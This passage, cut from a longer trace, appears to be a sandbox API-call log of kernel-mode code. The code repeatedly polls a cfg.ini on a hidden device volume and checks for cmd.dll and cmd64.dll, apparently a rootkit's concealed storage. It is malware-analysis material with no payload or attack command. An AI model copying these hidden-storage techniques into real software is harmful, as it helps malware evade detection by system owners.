_Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.203] KeEnterCriticalRegion () [0120.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.203] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.203] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc21b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.203] KeLeaveCriticalRegion () [0120.203] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.203] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.203] KeEnterCriticalRegion () [0120.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.203] ExFreePoolWithTag (P=0xfffffa8003bbcf60, Tag=0x0) [0120.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.203] KeLeaveCriticalRegion () [0120.203] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.203] ReleaseMutex (hMutex=0xf0) returned 1 [0120.203] Sleep (dwMilliseconds=0x124f80) [0120.218] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.218] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.218] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.218] KeEnterCriticalRegion () [0120.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.218] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.218] IdePortDispatch () returned 0x103 [0120.218] KeWaitForMutexObject () returned 0x0 [0120.218] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.218] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.218] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.218] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.218] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.218] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc20a0 [0120.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.218] KeLeaveCriticalRegion () [0120.218] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.218] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.218] KeEnterCriticalRegion () [0120.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.218] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.218] KeLeaveCriticalRegion () [0120.218] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.218] KeEnterCriticalRegion () [0120.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.219] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.219] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.219] IdePortDispatch () returned 0x103 [0120.219] KeWaitForMutexObject () returned 0x0 [0120.219] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.219] KeLeaveCriticalRegion () [0120.219] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.219] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.219] KeEnterCriticalRegion () [0120.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.219] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003418000 [0120.219] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.219] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.219] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.219] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.219] IdePortDispatch () returned 0x103 [0120.219] KeWaitForMutexObject () returned 0x0 [0120.219] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.219] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.219] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.219] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.219] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.219] IdePortDispatch () returned 0x103 [0120.219] KeWaitForMutexObject () returned 0x0 [0120.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.220] KeLeaveCriticalRegion () [0120.220] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.220] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.220] KeEnterCriticalRegion () [0120.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.220] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.220] KeLeaveCriticalRegion () [0120.220] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.220] KeEnterCriticalRegion () [0120.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.220] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.220] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc21f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.220] KeLeaveCriticalRegion () [0120.220] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.220] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.220] KeEnterCriticalRegion () [0120.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.220] ExFreePoolWithTag (P=0xfffffa8003bc20a0, Tag=0x0) [0120.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.220] KeLeaveCriticalRegion () [0120.220] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.220] ReleaseMutex (hMutex=0xf0) returned 1 [0120.220] Sleep (dwMilliseconds=0x124f80) [0120.234] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.234] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.234] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.234] KeEnterCriticalRegion () [0120.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.234] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.234] IdePortDispatch () returned 0x103 [0120.235] KeWaitForMutexObject () returned 0x0 [0120.235] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.235] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.235] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.235] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.235] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.235] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcdb0 [0120.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.235] KeLeaveCriticalRegion () [0120.235] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.235] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.235] KeEnterCriticalRegion () [0120.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.235] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.235] KeLeaveCriticalRegion () [0120.235] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.235] KeEnterCriticalRegion () [0120.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.235] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.235] IdePortDispatch () returned 0x103 [0120.235] KeWaitForMutexObject () returned 0x0 [0120.235] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.235] KeLeaveCriticalRegion () [0120.235] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.236] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.236] KeEnterCriticalRegion () [0120.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.236] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800341d000 [0120.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.236] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.236] IdePortDispatch () returned 0x103 [0120.236] KeWaitForMutexObject () returned 0x0 [0120.236] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.236] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.236] IdePortDispatch () returned 0x103 [0120.236] KeWaitForMutexObject () returned 0x0 [0120.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.236] KeLeaveCriticalRegion () [0120.236] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.237] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.237] KeEnterCriticalRegion () [0120.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.237] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.237] KeLeaveCriticalRegion () [0120.237] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.237] KeEnterCriticalRegion () [0120.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.237] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.237] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc8e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.237] KeLeaveCriticalRegion () [0120.237] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.237] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.237] KeEnterCriticalRegion () [0120.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.237] ExFreePoolWithTag (P=0xfffffa8003bbcdb0, Tag=0x0) [0120.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.237] KeLeaveCriticalRegion () [0120.237] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.237] ReleaseMutex (hMutex=0xf0) returned 1 [0120.237] Sleep (dwMilliseconds=0x124f80) [0120.251] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.251] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.251] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.251] KeEnterCriticalRegion () [0120.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.251] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.251] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.251] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.251] IdePortDispatch () returned 0x103 [0120.251] KeWaitForMutexObject () returned 0x0 [0120.251] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.251] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.251] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.251] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.251] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.251] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc20a0 [0120.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.251] KeLeaveCriticalRegion () [0120.251] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.251] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.251] KeEnterCriticalRegion () [0120.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.251] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.251] KeLeaveCriticalRegion () [0120.251] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.252] KeEnterCriticalRegion () [0120.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.252] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.252] IdePortDispatch () returned 0x103 [0120.252] KeWaitForMutexObject () returned 0x0 [0120.252] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.252] KeLeaveCriticalRegion () [0120.252] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.252] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.252] KeEnterCriticalRegion () [0120.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.252] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003422000 [0120.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.252] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.252] IdePortDispatch () returned 0x103 [0120.252] KeWaitForMutexObject () returned 0x0 [0120.253] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.253] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.253] IdePortDispatch () returned 0x103 [0120.253] KeWaitForMutexObject () returned 0x0 [0120.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.253] KeLeaveCriticalRegion () [0120.253] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.253] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.253] KeEnterCriticalRegion () [0120.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.253] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.253] KeLeaveCriticalRegion () [0120.253] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.253] KeEnterCriticalRegion () [0120.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.253] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.253] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.253] KeLeaveCriticalRegion () [0120.254] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.254] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.254] KeEnterCriticalRegion () [0120.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.254] ExFreePoolWithTag (P=0xfffffa8003bc20a0, Tag=0x0) [0120.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.254] KeLeaveCriticalRegion () [0120.254] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.254] ReleaseMutex (hMutex=0xf0) returned 1 [0120.254] Sleep (dwMilliseconds=0x124f80) [0120.274] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.274] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.274] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.274] KeEnterCriticalRegion () [0120.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.274] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.274] IdePortDispatch () returned 0x103 [0120.274] KeWaitForMutexObject () returned 0x0 [0120.274] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.274] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.274] _strnicmp (_Str1="cmd64.dll", 